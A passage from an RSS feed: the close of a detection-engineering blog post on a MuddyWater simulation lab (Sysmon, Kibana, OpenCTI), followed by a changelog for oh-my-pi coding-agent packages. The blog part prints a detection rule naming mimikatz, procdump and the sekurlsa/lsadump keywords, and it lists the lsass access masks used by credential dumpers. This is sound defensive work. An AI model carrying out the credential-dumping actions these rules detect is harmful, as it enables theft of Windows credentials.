https://github.com/anpa1200/operation-desert-hydra.git<br>cd operation-desert-hydra<br>cp stack/.env.template stack/.env<br># fill in ELASTIC_PASSWORD, OPENCTI_ADMIN_PASSWORD, OPENCTI_ADMIN_TOKEN<br>bash start.sh<br># → OpenCTI: http://localhost:8080<br># → Kibana:  http://localhost:5601<br># → all 11 simulations run automatically (~10 min)</pre><p><strong>Stop / destroy:</strong></p><pre>bash stop.sh                # halt VM, keep stack and data<br>bash stop.sh --destroy-vm   # remove VM disk<br>bash stop.sh --destroy-stack  # also stop Docker stack</pre><p><strong>Skip the lab VM</strong> (OpenCTI + Kibana only, no Windows VM):</p><pre>bash start.sh --skip-lab</pre><p>Prerequisites: Docker, VirtualBox, Vagrant, Ansible, Python 3 + pywinrm. Full details in the <a href="https://github.com/anpa1200/operation-desert-hydra/blob/main/README.md">README</a>.</p><p>Key files:</p><ul><li>docs/article-step-0-project-scenario.md — full phase-by-phase walkthrough</li><li>data/detections.yaml — all 11 detection records with coverage scores</li><li>lab/ansible/playbooks/validate.yml — the 11 simulation playbook</li><li>detections/sigma/, detections/kql/, detections/elastic/, detections/spl/ — rule exports</li></ul><h3>What This Project Is Not</h3><p>This is not a red team toolkit. The lab produces benign telemetry for detection validation — no live malware, no real C2, no credential theft. The detection pseudologic is SIEM-agnostic and requires production translation and tuning before deployment. Coverage scores are conservative: 5 requires a Kibana screenshot, not just passing logic.</p><p>The source base is entirely public. The actor’s actual TTPs may be more sophisticated than what is documented. Treat the coverage matrix as a floor, not a ceiling.</p><h3>Production Scars</h3><p>Everything above describes what the project looks like after it worked. This section documents what broke, in what order, and what was actually fixed — the kind of detail that gets cut from writeups but is the most useful part for anyone trying to reproduce this.</p><h4>Scar 1: The Simulations Were Faking It</h4><p>The first validation attempt used synthetic event markers. The simulation playbook injected a DH-SIM-0001 string into the CommandLine field, then the Kibana queries looked for that exact string:</p><pre>winlog.event_id: 1 AND winlog.event_data.CommandLine: *DH-SIM-0001*</pre><p>This produces a screenshot. It does not prove a detection works.</p><p>The problem is fundamental: a query that looks for a marker you injected proves that injection works, not that a detection fires on real attacker behavior. If MuddyWater runs wscript.exe and spawns powershell.exe -EncodedCommand, the DH-SIM-0001 query returns nothing. The detection coverage number was meaningless.</p><p><strong>What was fixed:</strong> All simulations were rewritten to produce realistic execution chains — wscript.exe spawning powershell.exe -EncodedCommand &lt;base64&gt;, schtasks.exe /create /sc minute /mo 43, lsass.exe being accessed by a test process with the correct GrantedAccess mask. All KQL queries were rewritten to use real field-based conditions: winlog.event_data.ParentImage, winlog.event_data.GrantedAccess, winlog.event_data.TargetObject, winlog.event_data.ScriptBlockText. Every proof screenshot now shows a real field value, not a synthetic marker.</p><p><strong>The lesson:</strong> A proof screenshot is only as good as the conditions that trigger it. If the simulation writes what the query reads, you have a tautology, not a detection.</p><h4>Scar 2: det_mw_0004 — The DLL That Wouldn’t Load</h4><p>The simulation for det_mw_0004 (DLL side-loading) created a 4-byte MZ-header stub file named Goopdate.dll in a temp directory alongside GoogleUpdate.exe, then waited for Sysmon Event ID 7 (ImageLoad) to fire.</p><p>It never fired.</p><p>Root cause: a 4-byte MZ stub is not a valid PE binary. The Windows loader parses the PE header before loading — the stub fails the loader’s structural validation and is rejected before the load event is generated. Sysmon only generates EID 7 for DLLs that actually get mapped into process memory. A file that fails to load produces no EID 7.</p><p>The Sysmon configuration was correct. The detection rule was correct. The simulation was wrong.</p><p><strong>Result: PARTIAL</strong> — coverage score 3 instead of 5.</p><p><strong>What it would take to fix:</strong> The test needs a real, valid DLL — even an empty DLL compiled from a single DllMain that returns TRUE. Alternatively, installing the actual Google Chrome on the lab VM provides a real Goopdate.dll at the expected path, which could then be copied to a non-standard location. Neither was done in this iteration due to lab scope constraints (no internet access on the VM for Chrome installation, no compiler toolchain in the lab).</p><p><strong>The lesson:</strong> When validating EID 7 detections, your test artifact must be a valid loadable PE. A stub file saves time and produces nothing.</p><h4>Scar 3: det_mw_0008a — VirtualBox NAT Ate the Telegram Traffic</h4><p>The simulation for det_mw_0008a (Telegram Bot API C2) made an outbound HTTPS connection to api.telegram.org from PowerShell and waited for Sysmon Event ID 3 (NetworkConnect) to fire.</p><p>It never fired.</p><p>Root cause: VirtualBox NAT performs network address translation at the hypervisor level. Sysmon captures network connections at the Windows kernel level. With NAT, the connection from the VM’s perspective terminates at the NAT gateway (10.0.2.2), not at api.telegram.org. Sysmon sees a connection to 10.0.2.2:443, not api.telegram.org:443. The detection rule looking for api.telegram.org as the destination found nothing.</p><p>There was an additional layer: VirtualBox NAT does not forward arbitrary outbound HTTPS traffic by default in this lab configuration — the VM had no direct internet path, only access to the host’s 10.0.2.2 gateway. Even fixing the Sysmon observation problem would require a working internet path from the VM.</p><p><strong>Result: FAIL</strong> — coverage score 3 instead of 5.</p><p><strong>What it would take to fix:</strong> Add a host-only or bridged network adapter to the VM that provides direct internet access, and confirm Sysmon captures the connection with the external destination. Alternatively, run a local HTTPS server on the host at api.telegram.org via a hosts file override, which would make the destination resolvable within the lab and catchable by Sysmon.</p><p><strong>The lesson:</strong> VirtualBox NAT is the right choice for lab isolation (the VM cannot reach the internet accidentally), but it is the wrong choice if you need to validate detections based on external destination hostnames. Design the network topology before writing detection validation cases.</p><h4>Scar 4: Kibana Showed Nothing — Wrong Time Window</h4><p>After running the SecurityCenter2 WMI discovery simulation (Step 30), the Kibana query returned zero results.</p><p>The query was correct. The simulation had run correctly. The events were in Elasticsearch.</p><p>Root cause: Kibana’s default time window was set to “Last 15 minutes.” The simulation had run in a previous lab session, and Winlogbeat had shipped the events to Elasticsearch during that session. The events existed — they were just outside the current time window.</p><p><strong>What was fixed:</strong> Changed the time filter to “Last 24 hours.” Events appeared immediately.</p><p><strong>The lesson:</strong> When a Kibana proof shows no results, the first diagnostic step is the time filter, not the query. This is obvious in retrospect and a consistent source of false “detection failed” conclusions during initial validation runs.</p><h4>Scar 5: Detection Design Bugs Found in Review (Before Validation)</h4><p>Before running any simulations, every detection record went through a structured review pass. Four real bugs were found:</p><p><strong>det_mw_0010 Rule B — Operator precedence error.</strong> The original pseudologic was:</p><pre>event_type = process_create AND<br>image IMATCHES "mimikatz\.exe" OR<br>image ENDSWITH "procdump64.exe" OR<br>command_line IMATCHES "(sekurlsa|lsadump|privilege::debug)"</pre><p>Without explicit parentheses, OR has lower precedence than AND in most query languages. The command_line IMATCHES clause was evaluated independently of the event_type guard, meaning the rule would fire on any event (not just process_create) where the command line contained sekurlsa. In a SIEM with millions of events per day, this generates noise and potentially masks the real signal. The fix added explicit brackets to keep all OR branches inside the event_type = process_create guard.</p><p><strong>det_mw_0009 Rule C — T1033 was not covered.</strong> The initial Rule C matched SecurityCenter2, Win32_NetworkAdapterConfiguration, and Win32_OperatingSystem — covering T1518.001, T1016, and T1082. The documented CISA script also collects the username via Win32_ComputerSystem. T1033 (System Owner/User Discovery) was missing. Fixed by adding Win32_ComputerSystem|Win32_UserAccount|UserName to the pattern match.</p><p><strong>det_mw_0004 Rule A — Missing x86 Google path.</strong> The initial allowlist only contained the x64 path C:\Program Files\Google\. On 64-bit Windows, the 32-bit Google Update installs to C:\Program Files (x86)\Google\. Without the x86 path in the allowlist, any Goopdate.dll load from the legitimate 32-bit Google installation would fire the detection. Added both paths.</p><p><strong>det_mw_0010 Rule A — Access mask set too narrow.</strong> The initial mask set covered standard Mimikatz masks (0x1010, 0x1410, 0x1438) but missed 0x1fffff (PROCESS_ALL_ACCESS, used by custom C++ dumpers and some loaders) and 0x1f0fff (another all-access variant observed in field reporting). A detection that only catches stock Mimikatz masks is bypassed by any custom implementation. Extended the mask set to cover known custom-dumper variants.</p><p><strong>The lesson:</strong> Writing pseudologic in a YAML field with no syntax validation means operator precedence bugs survive until someone reads the logic carefully. Structured peer review — ideally by someone who will try to break the rule — catches these before they hit production.</p><h4>Scar 6: The OpenCTI Stack Was in a Different Repository</h4><p>The original project structure had the OpenCTI Docker Compose stack in a separate repository (opencti-intelligent-shield) that was not included in the desert-hydra repo. The start.sh script referenced the external repo with a hardcoded path. Cloning operation-desert-hydra and running start.sh failed immediately on any machine other than the development machine.</p><p><strong>What was fixed:</strong> The entire stack — docker-compose.yml, docker-compose.kibana.yml, and .env.template — was copied into stack/ inside the desert-hydra repo. All path references were updated. The repo is now fully self-contained: git clone + cp .env.template .env + bash start.sh works from a clean machine with no external dependencies beyond Docker, Vagrant, VirtualBox, Ansible, and pywinrm.</p><p><strong>The lesson:</strong> A reproducibility claim requires everything needed to reproduce to be in the same repository. External path dependencies are invisible during development and obvious on first external clone.</p><h4>Scar 7: MITRE Connector Timing</h4><p>The import script (tools/opencti_import.py) creates MuddyWater → uses → ATT&amp;CK technique relationships by looking up techniques that the MITRE ATT&amp;CK connector has synced into OpenCTI. The connector takes several minutes to complete its initial sync of 846 techniques.</p><p>If the import script runs before the connector finishes, the technique lookup returns nothing — the techniques don’t exist yet. The original script failed silently on these lookups and skipped the relationship creation.</p><p><strong>What was fixed:</strong> The script was updated with find_or_create_attack_pattern(): if a technique is not yet in OpenCTI, create a stub AttackPattern object with the correct x_mitre_id. When the MITRE connector eventually syncs that technique, OpenCTI's deduplication logic merges the stub with the connector's fully populated object. All relationships that were created against the stub are preserved and now point to the enriched object. Running the script a second time after the connector finishes confirms existing objects rather than creating duplicates.</p><p><strong>The lesson:</strong> Any script that creates relationships against objects populated by a connector needs to handle the case where the connector has not finished. Fail loudly or create stubs — don’t skip silently.</p><h4>Surviving Gaps</h4><p>Two failures from Phase 5 remain open:</p><p><strong>det_mw_0004</strong> — DLL side-loading detection (EID 7) is not lab-validated. The detection rule is sound; the simulation needs a valid PE DLL. Coverage score stays at 3 until the lab is extended with a compiled test DLL.</p><p><strong>det_mw_0008a</strong> — Telegram Bot API connection detection (EID 3) is not lab-validated. The detection rule is sound; the lab network topology prevents capturing external destination hostnames via NAT. Coverage score stays at 3 until the VM has a direct internet path or a local HTTPS proxy target.</p><p>These are documented as open items, not dismissed as “out of scope.” The coverage score scale is designed to reflect this: a score of 3 means “behavioral detection, no lab proof” — it is honest about the gap rather than claiming coverage that was not validated.</p><p><strong>Seven ATT&amp;CK techniques have zero detection coverage.</strong> Lateral movement (T1021.001 RDP, T1550.002 Pass the Hash), Collection (T1005, T1039), Exfiltration (T1041), and Impact (T1486 ransomware, T1490 shadow copy deletion from DarkBit). These are acknowledged in the coverage matrix, not hidden. The actor uses them. The public source base documents them. The detection coverage does not exist in this iteration.</p><p><em>All code, data, and proof screenshots are version-controlled at </em><a href="https://github.com/anpa1200/operation-desert-hydra"><em>github.com/anpa1200/operation-desert-hydra</em></a></p><h3>Follow My Work</h3><p>I publish practical cybersecurity research, CTI workflows, detection engineering notes, malware analysis projects, OpenCTI work, cloud and Kubernetes security research, AI-assisted security tooling, labs, and technical guides.</p><ul><li><strong>Portfolio / Knowledge Base:</strong> <a href="https://anpa1200.github.io/">https://anpa1200.github.io/</a></li><li><strong>Medium:</strong> <a href="https://medium.com/@1200km">https://medium.com/@1200km</a></li><li><strong>GitHub:</strong> <a href="https://github.com/anpa1200">https://github.com/anpa1200</a></li><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/andrey-pautov/">https://www.linkedin.com/in/andrey-pautov/</a></li></ul><h4><strong>Andrey Pautov</strong></h4><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=34da7917acf0" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/operation-desert-hydra-ai-assisted-cti-pipeline-muddywater-to-kibana-34da7917acf0">Operation Desert Hydra — AI-Assisted CTI Pipeline: MuddyWater to Kibana</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v15.10.1]]></title>
<description><![CDATA[@oh-my-pi/pi-agent-core
Added

Added optional promptCacheKey support to AgentOptions and Agent via a new promptCacheKey property so providers can receive a caller-provided prompt cache key
Added optional ApiKeyResolveContext parameter to getApiKey in AgentOptions and AgentLoopConfig so key resolv...]]></description>
<link>https://tsecurity.de/de/3580230/tools/v15101/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580230/tools/v15101/</guid>
<pubDate>Mon, 08 Jun 2026 02:50:51 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-agent-core</h2>
<h3>Added</h3>
<ul>
<li>Added optional <code>promptCacheKey</code> support to <code>AgentOptions</code> and <code>Agent</code> via a new <code>promptCacheKey</code> property so providers can receive a caller-provided prompt cache key</li>
<li>Added optional <code>ApiKeyResolveContext</code> parameter to <code>getApiKey</code> in <code>AgentOptions</code> and <code>AgentLoopConfig</code> so key resolvers can receive retry context</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Enabled streaming API calls to re-resolve credentials through the <code>getApiKey</code> callback when retries occur after authentication-related errors</li>
<li><code>Agent.abort(reason?)</code> now forwards <code>reason</code> to the underlying <code>AbortController</code>, and the synthesized aborted assistant message carries that reason on <code>errorMessage</code> (string or non-<code>AbortError</code> <code>Error</code> message) instead of always defaulting to <code>"Request was aborted"</code>. Bare <code>abort()</code> is unchanged.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed handling of short-lived API keys so that expired tokens are retried with a refreshed value during 401/usage-limit failures</li>
<li>Ensured fallback API key resolution uses the initially configured static <code>apiKey</code> when <code>getApiKey</code> is present</li>
<li>Wrapped oneshot LLM completions (<code>instrumentedCompleteSimple</code>: handoff, compaction/branch summaries) in an <code>EventLoopKeepalive</code>. These run outside the agent <code>#runLoop</code>, so without the keepalive Bun's event loop stopped servicing timers while parked on the completion promise — freezing host spinners (e.g. the <code>/handoff</code> loader) until an unrelated terminal resize poked the loop into rendering again.</li>
</ul>
<h2>@oh-my-pi/pi-ai</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Removed the <code>onAuthError</code> option from stream request options and shifted auth retry handling to resolver-based <code>apiKey</code> behavior, requiring callers using custom auth-retry hooks to migrate</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added <code>ApiKeyResolver</code> and <code>ApiKey</code> auth helpers, including <code>isApiKeyResolver</code>, <code>isAuthRetryableError</code>, <code>resolveApiKeyOnce</code>, and <code>withAuth</code>, and exported them from the package root</li>
<li>Added support for a function-valued <code>apiKey</code> in <code>SimpleStreamOptions</code> so a single stream request can refresh or rotate credentials during retry</li>
<li>Added <code>forceRefresh</code> credential option to <code>AuthStorage.getApiKey</code> and <code>rotateSessionCredential</code> support for session-level credential rotation after auth failures</li>
<li>Added <code>AuthStorage.resolver(provider, options)</code> method that builds an <code>ApiKeyResolver</code> implementing the a/b/c auth-retry policy directly on the storage instance</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed gateway and stream auth flows to share the a/b/c retry policy, refreshing the same session credential first and then switching to a sibling credential on repeated auth failures</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed streaming auth retries to handle <code>401</code> and usage-limit errors before replay-unsafe content is emitted, including failures surfaced only via <code>errorStatus</code></li>
<li>Fixed tool argument validation to coerce singleton non-string values into arrays when the schema expects an array, preventing Anthropic-compatible models that emit <code>todo.ops</code> as an object from getting stuck in repeated validation-error loops. (<a href="https://github.com/can1357/oh-my-pi/issues/2026" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2026/hovercard">#2026</a>)</li>
<li>Fixed streaming retries to buffer and suppress partial <code>start</code> events from failed auth attempts so only clean retried events are delivered</li>
<li>Fixed the HTTP 400 raw-request dumper (<code>appendRawHttpRequestDumpFor400</code>) littering the real <code>~/.omp/logs/http-400-requests</code> directory during tests. Provider suites exercise the 400 error path with mocked <code>fetch</code> responses, which the dumper could not distinguish from genuine failures; it now skips persistence under the Bun test runner (<code>isBunTestRuntime()</code>).</li>
<li>Fixed Anthropic Opus requests unnecessarily forcing <code>tool_choice.disable_parallel_tool_use</code>, allowing Claude Opus to use the provider's default parallel tool-calling behavior again.</li>
<li>Fixed parallel <code>function_call</code> items losing arguments against llama.cpp's OpenAI Responses endpoint (<code>/v1/responses</code>), where every call but the last finalized with <code>{}</code> and the agent rejected them with <code>path: Invalid input: expected string, received undefined</code>. llama.cpp's <code>to_json_oaicompat_resp</code> emits <code>output_item.added</code> with only <code>item.call_id</code> (no <code>item.id</code>, no <code>output_index</code>) while the matching <code>function_call_arguments.delta</code> carries <code>item_id: "fc_&lt;call_id&gt;"</code>. <code>processResponsesStream</code> now registers function-call and custom-tool-call items under <code>item.call_id</code> as a secondary lookup key (alongside <code>item.id</code>/<code>output_index</code>) so identifier-deviant hosts route deltas and done events to the right block. (<a href="https://github.com/can1357/oh-my-pi/issues/2015" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2015/hovercard">#2015</a>)</li>
<li>Fixed <code>PI_REQ_DEBUG</code> response recording truncating the captured body when a streamed response was cancelled mid-flight. The response tee in <code>wrapResponse</code> could call <code>FileRequestDebugResponseLog.close()</code> from both the <code>cancel</code> callback and the resumed <code>pull</code> (which observes <code>done</code> once the source reader is cancelled); the second caller saw the handle already nulled and returned before the first caller's pending write flushed, so the <code>.res.log</code> lost the already-buffered chunk. <code>close()</code> now memoizes its flush-and-close promise so every caller awaits the same completion.</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Added</h3>
<ul>
<li>Added <code>display.smoothStreaming</code> setting (default <code>true</code>) to let users enable or disable smooth assistant-stream text reveal</li>
<li>Added <code>/tan &lt;work&gt;</code> slash command to fork the current conversation into a background agent so tangential work can continue asynchronously while your main session stays active</li>
<li>Added a background <code>/tan</code> dispatch message that records the handoff in the transcript and marks the delegated work as non-blocking</li>
<li>Added <code>providerPromptCacheKey</code> support to <code>CreateAgentSessionOptions</code> so <code>/tan</code> background sessions can reuse the parent session’s prompt-cache lineage</li>
<li>Added session cloning for <code>/tan</code> runs with copied artifacts and shared MCP proxy tools</li>
<li>Added <code>SessionManager.forkFrom</code>’s optional <code>suppressBreadcrumb</code> mode to avoid breadcrumb updates when forking background <code>/tan</code> sessions</li>
<li>Added OSC 5522 enhanced paste handling in <code>InputController</code>, so terminal clipboard events are decoded as image or text payloads and inserted without passing raw paste sequences to the editor</li>
<li>Added bracketed image-path paste support in <code>CustomEditor</code> so a single pasted image file path (PNG/JPEG/GIF/WEBP) is loaded from disk and inserted as an image candidate</li>
<li>Added direct support for <code>Image #N</code> insertion from pasted local image paths by routing successful image-path pastes through the same image normalization and resize flow as clipboard image pastes</li>
<li>Added <code>/fresh</code> to rotate the provider-facing session id and clear in-memory provider stream/cache state without changing the local session file.</li>
<li>Added a <code>ChatBlock</code> transcript primitive (<code>modes/components/chat-block.ts</code>) and a single <code>ctx.present(...)</code> sink (with <code>ctx.resetTranscript()</code>) so chat output is mounted in one place instead of the repeated <code>chatContainer.addChild(...)</code> + <code>ui.requestRender()</code> pattern scattered across controllers. <code>ChatBlock</code> carries a React/Svelte-style lifecycle — <code>onMount</code> starts effects, <code>onCleanup</code> registers teardown, <code>finish()</code> self-completes (stops timers and freezes the block at its final content), and <code>dispose()</code>/<code>resetTranscript()</code> tears everything down — so animated blocks own their own resources instead of leaking <code>setInterval</code>/<code>requestRender</code> bookkeeping into callers. The MCP "Connecting…" spinner is now such a block.</li>
<li>Added a <code>framedBlock</code> output-block helper (<code>tui/output-block.ts</code>) plus a <code>borderColor</code> override and <code>applyBg: false</code> (no background fill) on output blocks, a <code>renderStatusLine</code> <code>iconOverride</code>, and an <code>icon.search</code> (magnifier) theme symbol — so tool renderers can draw self-contained muted-outline frames and search-family tools can show a magnifier instead of a checkmark.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>
<p>Changed the bash tool frame to use a plain top rule instead of repeating "Bash" in the title bar, and folded minimizer raw-output artifact links into the status footer as <code>Artifact: &lt;id&gt;</code>.</p>
</li>
<li>
<p>Changed grouped <code>read</code> output to use a white filled-circle mark for the group/single-read success state and omit duplicate per-file success marks inside multi-read groups.</p>
</li>
<li>
<p>Changed assistant streaming output to reveal text incrementally at 30 FPS with grapheme-safe adaptive catch-up, instead of replacing the whole message chunk-by-chunk</p>
</li>
<li>
<p>Changed shimmer-driven TUI animations (working text, pending bash/eval borders, and theme activity-spinner documentation) to render at 30fps instead of 60fps.</p>
</li>
<li>
<p>Changed running <code>task</code> tool agent rows to use a static <code>•</code> marker and shimmer only the subagent name, leaving descriptions, stats, and nested tool detail text solid while removing the rotating status glyph from those rows.</p>
</li>
<li>
<p>Changed settings singleton method access to reuse bound methods for the active instance instead of allocating a new bound function on every <code>settings.get</code> lookup.</p>
</li>
<li>
<p>Changed plan-mode approval to keep the drafted <code>local://&lt;slug&gt;-plan.md</code> file at its original name as the canonical plan path, so approved plans are no longer renamed when leaving plan mode</p>
</li>
<li>
<p>Changed plan-mode write enforcement so only <code>local://</code> artifact files are writable during planning, blocking working-tree edits and allowing scratch or draft plan files in the local artifact area</p>
</li>
<li>
<p>Changed the <code>todo</code> tool result renderer to stop redrawing every phase's full task list on each update: when a multi-phase list is rendered collapsed (the default, not manually expanded), only phases the latest update touched — the phase holding the in_progress task, any phase with a just-completed task, and phases named by the ops that ran (<code>init</code> counts as touching all) — render their tasks; untouched phases collapse to a one-line <code>N. Name  done/total</code> summary. When call args are unavailable (e.g. transcript rebuilds) it falls back to the in_progress/completed-transition signals, and the manual expand toggle still shows every task. Also dropped the blank separator line previously inserted between phases.</p>
</li>
<li>
<p>Changed non-agent API operations (title and commit-message generation, image generation, web search, eval <code>llm()</code>, auto-thinking classifier, memory consolidation) to use session-aware API key resolution with auth retries via <code>registry.resolver()</code> / <code>authStorage.resolver()</code>, refreshing the active credential before rotating to another account</p>
</li>
<li>
<p>Changed image generation to wrap every provider fetch branch in <code>withAuth</code>, so 401 / usage-limit errors trigger credential force-refresh and rotation for authStorage-backed providers (OpenAI-hosted, antigravity, xai-oauth) while env-only providers (openrouter, gemini) stay single-attempt</p>
</li>
<li>
<p>Changed web-search providers using <code>authStorage.getApiKey</code> (anthropic, exa, tavily, parallel, synthetic, zai, kimi) to wrap HTTP calls in <code>withAuth</code> for automatic credential rotation on 401 / usage-limit errors</p>
</li>
<li>
<p>Changed the directory grouping for <code>find</code>, <code>search</code>, <code>ast_grep</code>, <code>ast_edit</code>, and <code>lsp</code> diagnostics from a single flat <code># dir/</code> heading per immediate directory to a multi-level tree that folds the common path prefix into one heading. Previously every group repeated the full directory path — so results rooted outside cwd printed the absolute prefix (e.g. <code>/Users/me/proj/</code>) on every heading and nested directories were never collapsed. Now a single-child directory chain folds into one heading (<code># packages/pkg/src/</code>, including an absolute root for out-of-cwd results), subdirectories nest one <code>#</code> deeper (<code>## nested/</code> → <code>### child.ts</code>), and each directory's own files are listed before its subdirectories. TUI hyperlink reconstruction tracks the nested directory stack across the whole output so file and code-frame links keep resolving to the correct absolute paths.</p>
</li>
<li>
<p>Changed the plan-mode approval surface from an inline transcript block plus a separate bottom selector into a single fullscreen overlay (like <code>/copy</code>) and overhauled its navigation. The overlay now renders the plan per-section through <code>ScrollView</code> (line-level ↑/↓ scroll, Shift+↑/↓ to scroll faster, PgUp/PgDn, g/G) with no stray per-line <code>…</code>, and — when the terminal is wide enough and the plan has ≥2 headings — shows a compact VS Code-style section sidebar (the redundant plan-title heading and any "Contents" label are omitted). Focus moves between regions with Tab/Shift+Tab (and flows at the edges: Down past the last section or the bottom of the body drops into the approval options; Up steps back), while the sidebar glows to track the scrolled section. The sidebar can fast-jump between sections, delete a section (with <code>u</code> undo), and annotate sections with feedback (<code>a</code>); deletions and annotations are collected into refinement feedback that is submitted back to the model when the operator picks "Refine plan". Mouse works too: clicking an approval option activates it, clicking a sidebar section jumps to it, and the wheel scrolls the plan. ←/→ always drive the model-tier slider, Enter confirms, the external-editor key opens the plan, and Esc cancels. The overlay borrows the terminal's alternate screen buffer for its lifetime (<code>fullscreen</code> overlay), so the transcript stays put on the normal screen instead of bleeding through scrollback behind the modal.</p>
</li>
<li>
<p>Changed the interactive controllers (command, MCP, selector, extension-UI, event), debug panels, and the status/error/warning helpers to render chat output through <code>ctx.present(...)</code> instead of appending to <code>chatContainer</code> and calling <code>ui.requestRender()</code> directly; transcript rebuilds dispose live blocks via <code>ctx.resetTranscript()</code> so animated blocks' timers stop on reset.</p>
</li>
<li>
<p>Changed tool-execution block rendering so the container (<code>ToolExecutionComponent</code>) is a transparent passthrough — it no longer inserts a top/bottom blank line, adds left/right padding, or paints a state-colored background behind tool output. Tools with substantial body now self-frame with a muted outline and the tool title in the frame's top bar (<code>edit</code>/<code>apply_patch</code>, <code>write</code>, <code>ask</code>, <code>todo</code>, <code>github</code>, <code>goal</code>, <code>inspect_image</code>, <code>search_tool_bm25</code>, <code>task</code>), matching the already-framed <code>bash</code>/<code>read</code>/<code>eval</code>/<code>debug</code>/<code>web_search</code>/<code>lsp</code> blocks, while streaming/in-progress and trivial results collapse to a clean status line. The search-family list tools (<code>find</code>, <code>search</code>, <code>ast_grep</code>) and <code>job</code> render frameless/minimal; <code>find</code>/<code>search</code>/<code>ast_grep</code> show a magnifier on success instead of a checkmark, and <code>job</code> drops its <code>Job:</code> label prefix (the per-job rows are self-describing). The <code>search_tool_bm25</code>, <code>github</code>, and <code>inspect_image</code> frames draw with no background fill, and <code>inspect_image</code>'s label was shortened to <code>Inspect</code>.</p>
</li>
<li>
<p>Changed the plan-mode active prompt (<code>prompts/system/plan-mode-active.md</code>) to make plans decision-complete and cut filler. Added an Objective framing ("another engineer can execute end-to-end without making a single design decision"), a shared "Resolving Unknowns" section (explore discoverable facts before asking; reserve <code>ask</code> for non-derivable preferences/tradeoffs with 2–4 options + a recommended default), and a single shared "The Plan" structure (Context / Approach grouped by behavior not file-by-file / ≤5 Critical files / Verification / Assumptions) that replaces the per-branch structure guidance previously duplicated across the iterative and parallel workflows. Added explicit prohibitions on sections that decide nothing (Non-Goals, Out of Scope, Alternatives Considered, Risks/Mitigations boilerplate, Future Work), on enumerating every file/line, and on inventing schema/validation/precedence policy the request never established.</p>
</li>
<li>
<p>Changed completion notifications (<code>completion.notify</code>) to fire whenever the agent yields its turn, including in the foreground. The <code>agent_end</code> notification was previously gated behind background mode (<code>isBackgrounded</code>), so an ordinary foreground turn never emitted one; the gate is gone and the desktop toast now fires on every normal turn completion (still skipped for aborted/error turns and when <code>completion.notify</code> is <code>off</code>).</p>
</li>
<li>
<p>Changed the in-progress <code>task</code> tool block to keep the shared <code>context</code> brief (<code># Goal</code> / <code># Constraints</code> background) visible after the first progress snapshot arrives, instead of dropping it the moment the streaming call view was replaced by the result frame, and to stop animating a spinner/clock next to the <code>Task</code> frame header while running — the per-agent body lines already carry their own running spinner, so the header now shows a static state icon (matching the completed/failed header icons). The context is rendered through a shared <code>buildContextSection</code> helper that also undoes per-field double-encoding, so the brief reads cleanly in the result frame even though <code>renderResult</code> receives the raw (un-repaired) tool args.</p>
</li>
<li>
<p>Changed the messaging shown when you press Esc to interrupt a streaming turn from the ambiguous <code>Operation aborted</code> / <code>Tool execution was aborted: Request was aborted</code> to <code>Interrupted by user</code>, so a deliberate user interrupt no longer reads like an internal failure. Every Esc/flush interrupt path (<code>onEscape</code> while streaming, the queued-message restore-and-abort path, and the empty-submit queue flush) threads the reason through <code>AgentSession.abort({ reason })</code> → <code>Agent.abort(reason)</code> so it rides the <code>AbortController</code> onto the aborted assistant message's <code>errorMessage</code>; the turn label renders it verbatim on both the live and replay paths, and the synthetic placeholder results paired with in-flight tool calls now read <code>Tool execution was aborted: Interrupted by user</code>. Aborts that carry no reason still fall back to the retry-aware <code>Operation aborted</code> generic. Transcript label resolution is centralized in <code>resolveAbortLabel</code> (<code>session/messages.ts</code>).</p>
</li>
</ul>
<h3>Removed</h3>
<ul>
<li>Removed the <code>/background</code> (and <code>/bg</code>) slash command and the background-mode subsystem it was the sole entry point for — <code>InteractiveMode.isBackgrounded</code>, <code>createBackgroundUiContext</code>, <code>handleBackgroundEvent</code>, and every <code>isBackgrounded</code> guard across the input/event/extension-UI controllers and UI helpers. The command suspended the whole process group via <code>SIGTSTP</code> (a leftover testing shortcut) instead of detaching the running agent, which is not the expected workflow — use terminal panes or a multiplexer instead.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>
<p>Fixed inline <code>find</code> and <code>search</code> result blocks to align with grouped <code>read</code> output and render their success headers with the normal tool-title color instead of accent blue.</p>
</li>
<li>
<p>Fixed the working-status shimmer to opt into the loader's 30fps animated-message repaint path while keeping both the status spinner and pending bash/eval tool spinners on their normal 80 ms glyph cadence.</p>
</li>
<li>
<p>Fixed consecutive <code>read</code> tool calls failing to collapse into a single grouped block when a reasoning model emits one read per completion (<code>[thinking, read]</code>). The read group was reset on every assistant <code>message_start</code>, so each read rendered as its own one-entry <code>Read …</code> line; now a read run accretes across completions and is broken only by a rendered non-empty text/thinking block, a non-read tool, or a user/IRC message — matching the transcript-rebuild path. <code>ReadToolGroupComponent</code> now reports its live/finalized state so the growing <code>Read (N)</code> header repaints correctly on native-scrollback (risk) terminals.</p>
</li>
<li>
<p>Fixed the <code>task</code> tool shared-context brief rendering raw Markdown headings (<code># Goal</code>, <code># Constraints</code>) inside framed call/result blocks instead of using the normal Markdown renderer.</p>
</li>
<li>
